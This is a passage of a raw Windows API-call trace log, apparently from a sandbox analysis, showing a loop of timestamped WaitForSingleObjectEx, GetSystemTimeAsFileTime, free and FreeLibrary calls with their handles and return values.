(hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.712] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cfe9e8f, dwHighDateTime=0x1d9eb0c)) [0216.813] free (_Block=0x20abc281dc0) [0216.813] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.814] free (_Block=0x20abc2867b0) [0216.815] free (_Block=0x20abc27cf80) [0216.815] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cfe9e8f, dwHighDateTime=0x1d9eb0c)) [0216.823] free (_Block=0x20abc281de0) [0216.823] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.824] free (_Block=0x20abc2867b0) [0216.824] free (_Block=0x20abc27cf80) [0216.825] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d0367bd, dwHighDateTime=0x1d9eb0c)) [0216.841] free (_Block=0x20abc2820e0) [0216.841] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.842] free (_Block=0x20abc2867b0) [0216.842] free (_Block=0x20abc27cf80) [0216.843] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d167e5d, dwHighDateTime=0x1d9eb0c)) [0217.040] free (_Block=0x20abc281d60) [0217.040] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.041] free (_Block=0x20abc2867b0) [0217.041] free (_Block=0x20abc27cf80) [0217.041] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d2261bd, dwHighDateTime=0x1d9eb0c)) [0217.047] free (_Block=0x20abc281fc0) [0217.047] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.048] free (_Block=0x20abc2867b0) [0217.049] free (_Block=0x20abc27cf80) [0217.049] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d24c317, dwHighDateTime=0x1d9eb0c)) [0217.055] free (_Block=0x20abc281ae0) [0217.055] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.056] free (_Block=0x20abc2867b0) [0217.057] free (_Block=0x20abc27cf80) [0217.057] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d24c317, dwHighDateTime=0x1d9eb0c)) [0217.063] free (_Block=0x20abc281c00) [0217.063] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.063] free (_Block=0x20abc2867b0) [0217.064] free (_Block=0x20abc27cf80) [0217.064] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d27299a, dwHighDateTime=0x1d9eb0c)) [0217.076] free (_Block=0x20abc281c80) [0217.076] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.077] free (_Block=0x20abc2867b0) [0217.079] free (_Block=0x20abc27cf80) [0217.079] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d4fae95, dwHighDateTime=0x1d9eb0c)) [0217.350] free (_Block=0x20abc282020) [0217.350] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.351] free (_Block=0x20abc2867b0) [0217.352] free (_Block=0x20abc27cf80) [0217.352] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d5211e2, dwHighDateTime=0x1d9eb0c)) [0217.362] free (_Block=0x20abc281a00) [0217.363] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.363] free (_Block=0x20abc2867b0) [0217.364] free (_Block=0x20abc27cf80) [0217.365] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d547563, dwHighDateTime=0x1d9eb0c)) [0217.370] free (_Block=0x20abc282020) [0217.371] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.372] free (_Block=0x20abc2867b0) [0217.373] free (_Block=0x20abc27cf80) [0217.373] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d547563, dwHighDateTime=0x1d9eb0c)) [0217.380] free (_Block=0x20abc281cc0) [0217.380] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.381] free (_Block=0x20abc2867b0) [0217.382] free (_Block=0x20abc27cb20) [0217.392] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d5937de, dwHighDateTime=0x1d9eb0c)) [0217.400] free (_Block=0x20abc281a80) [0217.400] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.401] free (_Block=0x20abc2867b0) [0217.402] free (_Block=0x20abc27cb20) [0217.402] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d84223d, dwHighDateTime=0x1d9eb0c)) [0217.684] free (_Block=0x20abc2819a0) [0217.684] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.685] free (_Block=0x20abc2867b0) [0217.685] free (_Block=0x20abc27cf80) [0217.685] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3d8daabf, dwHighDateTime=0x1d9eb0c)) [0217.747] free (_Block=0x20abc281b20) [0217.747] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.748] free (_Block=0x20abc2867b0) [0217.748] free (_Block=0x20abc27cf80) [0217.748] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.749] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3daa4862, dwHighDateTime=0x1d9eb0c)) [0217.938] free (_Block=0x20abc281e80) [0217.938] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.938] free (_Block=0x20abc2867b0) [0217.939] free (_Block=0x20abc2878a0) [0217.939] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3dacab51, dwHighDateTime=0x1d9eb0c)) [0217.951] free (_Block=0x20abc281fe0) [0217.951] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.952] free (_Block=0x20abc2867b0) [0217.953] free (_Block=0x20abc27cb20) [0217.953] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3dacab51, dwHighDateTime=0x1d9eb0c)) [0217.958] free (_Block=0x20abc281fc0) [0217.958] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.959] free (_Block=0x20abc2867b0) [0217.959] free (_Block=0x20abc27cb20) [0217.959] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3daf0cbe, dwHighDateTime=0x1d9eb0c)) [0217.965] free (_Block=0x20abc281fa0) [0217.965] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0217.966] free (_Block=0x20abc2867b0) [0217.966] free (_Block=0x20abc27cb20) [0217.967] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3dbd5a62, dwHighDateTime=0x1d9eb0c)) [0218.058] free (_Block=0x20abc281f60) [0218.058] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0218.058] free (_Block=0x20abc2867b0) [0218.059] free (_Block=0x20abc27cf80) [0218.059] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3dd2d01f, dwHighDateTime=0x1d9eb0c)) [0218.200] free (_Block=0x20abc282060) [0218.200] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0218.201] free (_Block=0x20abc2867b0) [0218.202] free (_Block=0x20abc27cb20) [0218.203] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.203] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x41da374b, dwHighDateTime=0x1d9eb0c)) [0224.962] free (_Block=0x20abc281b00) [0224.962] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0224.963] free (_Block=0x20abc284e70) [0224.963] free (_Block=0x20abc27cf80) [0224.963] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x41dca801, dwHighDateTime=0x1d9eb0c)) [0224.971] free (_Block=0x20abc282000) [0224.971] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0224.972] free (_Block=0x20abc284e70) [0224.973] free (_Block=0x20abc27cf80) [0224.973] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x41f6d41e, dwHighDateTime=0x1d9eb0c)) [0225.161] free (_Block=0x20abc281a80) [0225.162] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.163] free (_Block=0x20abc284e70) [0225.163] free (_Block=0x20abc2abd10) [0225.163] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4202bffb, dwHighDateTime=0x1d9eb0c)) [0225.223] free (_Block=0x20abc281ce0) [0225.223] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.224] free (_Block=0x20abc284e70) [0225.224] free (_Block=0x20abc2ab2c0) [0225.225] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4202bffb, dwHighDateTime=0x1d9eb0c)) [0225.231] free (_Block=0x20abc282060) [0225.231] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.231] free (_Block=0x20abc284e70) [0225.232] free (_Block=0x20abc27cf80) [0225.232] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4209e790, dwHighDateTime=0x1d9eb0c)) [0225.284] free (_Block=0x20abc2820a0) [0225.285] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.285] free (_Block=0x20abc284e70) [0225.286] free (_Block=0x20abc27cf80) [0225.286] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42110fce, dwHighDateTime=0x1d9eb0c)) [0225.319] free (_Block=0x20abc281ec0) [0225.319] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.320] free (_Block=0x20abc284e70) [0225.320] free (_Block=0x20abc27cf80) [0225.320] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4213c5b0, dwHighDateTime=0x1d9eb0c)) [0225.335] free (_Block=0x20abc281dc0) [0225.335] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.336] free (_Block=0x20abc284e70) [0225.336] free (_Block=0x20abc27cf80) [0225.336] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4213c5b0, dwHighDateTime=0x1d9eb0c)) [0225.342] free (_Block=0x20abc2819e0) [0225.343] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.343] free (_Block=0x20abc284e70) [0225.344] free (_Block=0x20abc27cf80) [0225.344] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x421cf9e9, dwHighDateTime=0x1d9eb0c)) [0225.394] free (_Block=0x20abc2819a0) [0225.394] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.395] free (_Block=0x20abc284e70) [0225.396] free (_Block=0x20abc27cf80) [0225.396] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x421cf9e9, dwHighDateTime=0x1d9eb0c)) [0225.402] free (_Block=0x20abc282040) [0225.402] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.403] free (_Block=0x20abc284e70) [0225.405] free (_Block=0x20abc27cf80) [0225.405] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x421f5def, dwHighDateTime=0x1d9eb0c)) [0225.413] free (_Block=0x20abc281a80) [0225.413] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.414] free (_Block=0x20abc284e70) [0225.415] free (_Block=0x20abc27cb20) [0225.415] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x421f5def, dwHighDateTime=0x1d9eb0c)) [0225.442] free (_Block=0x20abc281c60) [0225.442] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.443] free (_Block=0x20abc284e70) [0225.444] free (_Block=0x20abc27cf80) [0225.444] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x422685f3, dwHighDateTime=0x1d9eb0c)) [0225.609] free (_Block=0x20abc281fa0) [0225.609] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.610] free (_Block=0x20abc284e70) [0225.612] free (_Block=0x20abc27cb20) [0225.612] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x423e6c04, dwHighDateTime=0x1d9eb0c)) [0225.625] free (_Block=0x20abc281c40) [0225.625] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.626] free (_Block=0x20abc284e70) [0225.628] free (_Block=0x20abc27cf80) [0225.628] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4240e477, dwHighDateTime=0x1d9eb0c)) [0225.639] free (_Block=0x20abc281c40) [0225.639] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.640] free (_Block=0x20abc284e70) [0225.641] free (_Block=0x20abc27cb20) [0225.641] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42431faf, dwHighDateTime=0x1d9eb0c)) [0225.649] free (_Block=0x20abc281de0) [0225.649] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.650] free (_Block=0x20abc284e70) [0225.651] free (_Block=0x20abc27cb20) [0225.652] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x424ca992, dwHighDateTime=0x1d9eb0c)) [0225.717] free (_Block=0x20abc281a00) [0225.717] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.718] free (_Block=0x20abc284e70) [0225.719] free (_Block=0x20abc27cb20) [0225.719] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x424f0d52, dwHighDateTime=0x1d9eb0c)) [0225.732] free (_Block=0x20abc281d60) [0225.732] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.733] free (_Block=0x20abc284e70) [0225.734] free (_Block=0x20abc27cb20) [0225.734] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4251eeba, dwHighDateTime=0x1d9eb0c)) [0225.742] free (_Block=0x20abc281b80) [0225.742] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.743] free (_Block=0x20abc284e70) [0225.744] free (_Block=0x20abc27cb20) [0225.744] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4253d509, dwHighDateTime=0x1d9eb0c)) [0225.753] free (_Block=0x20abc281fc0) [0225.754] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.755] free (_Block=0x20abc284e70) [0225.755] free (_Block=0x20abc27cb20) [0225.756] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4258bc76, dwHighDateTime=0x1d9eb0c)) [0225.787] free (_Block=0x20abc281fc0) [0225.787] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.788] free (_Block=0x20abc284e70) [0225.790] free (_Block=0x20abc27cb20) [0225.790] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x425af883, dwHighDateTime=0x1d9eb0c)) [0225.799] free (_Block=0x20abc281de0) [0225.800] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.800] free (_Block=0x20abc284e70) [0225.801] free (_Block=0x20abc27cf80) [0225.801] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x425af883, dwHighDateTime=0x1d9eb0c)) [0225.810] free (_Block=0x20abc281ec0) [0225.810] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.810] free (_Block=0x20abc284e70) [0225.811] free (_Block=0x20abc2ab770) [0225.811] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x425d6251, dwHighDateTime=0x1d9eb0c)) [0225.822] free (_Block=0x20abc2820e0) [0225.822] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.823] free (_Block=0x20abc284e70) [0225.823] free (_Block=0x20abc27cf80) [0225.824] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x426945be, dwHighDateTime=0x1d9eb0c)) [0225.896] free (_Block=0x20abc281c00) [0225.897] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.898] free (_Block=0x20abc284e70) [0225.899] free (_Block=0x20abc27cf80) [0225.899] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x426945be, dwHighDateTime=0x1d9eb0c)) [0225.908] free (_Block=0x20abc281c20) [0225.908] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.909] free (_Block=0x20abc284e70) [0225.910] free (_Block=0x20abc27cf80) [0225.910] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x426ba921, dwHighDateTime=0x1d9eb0c)) [0225.917] free (_Block=0x20abc281fa0) [0225.918] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.918] free (_Block=0x20abc284e70) [0225.919] free (_Block=0x20abc27cf80) [0225.919] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x427536b6, dwHighDateTime=0x1d9eb0c)) [0225.971] free (_Block=0x20abc281d40) [0225.971] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0225.972] free (_Block=0x20abc284e70) [0225.972] free (_Block=0x20abc27cf80) [0225.973] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4279f648, dwHighDateTime=0x1d9eb0c)) [0226.006] free (_Block=0x20abc282080) [0226.007] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.007] free (_Block=0x20abc284e70) [0226.008] free (_Block=0x20abc27cf80) [0226.008] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4279f648, dwHighDateTime=0x1d9eb0c)) [0226.016] free (_Block=0x20abc281a80) [0226.016] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.017] free (_Block=0x20abc284e70) [0226.021] free (_Block=0x20abc27cf80) [0226.021] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x427c83d2, dwHighDateTime=0x1d9eb0c)) [0226.029] free (_Block=0x20abc281a80) [0226.030] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.030] free (_Block=0x20abc284e70) [0226.031] free (_Block=0x20abc27cf80) [0226.031] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x427ebb2a, dwHighDateTime=0x1d9eb0c)) 